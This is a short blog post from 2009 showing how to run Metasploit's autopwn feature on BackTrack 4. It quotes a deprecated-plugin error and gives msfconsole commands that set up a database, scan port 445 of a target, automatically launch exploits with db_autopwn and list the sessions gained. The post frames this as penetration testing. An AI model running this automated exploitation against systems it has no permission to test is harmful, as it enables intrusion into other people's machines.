Tuesday, July 21, 2009

How to metasploit with autopwn on backtrack 4

I'm install metasploit on ubuntu 8.04 and can did autopwn by following  this post. Recently i'm play with backtrack 4 prerelease and surprised  with followiing  error white try to load db_postgres command on msfconsole. it shows 
[-]
[-] The functionality previously provided by this plugin has been
[-] integrated into the core command set. Use the new 'db_driver'
[-] command to use a database driver other than sqlite3 (which
[-] is now the default). All of the old commands are the same.
[-]
[-] Error while running command load: Deprecated plugin

then after some research i'm found things are become easer then before .

now you have to do only

./msfconsole
load db_postgres db_driver
db_create test
db_nmap IP ADDRESS TO TEST -p 445
all other command also  remain same...
db_autopwn -t -p -e -s -b
sessions -l

happy pentest....


0 comments: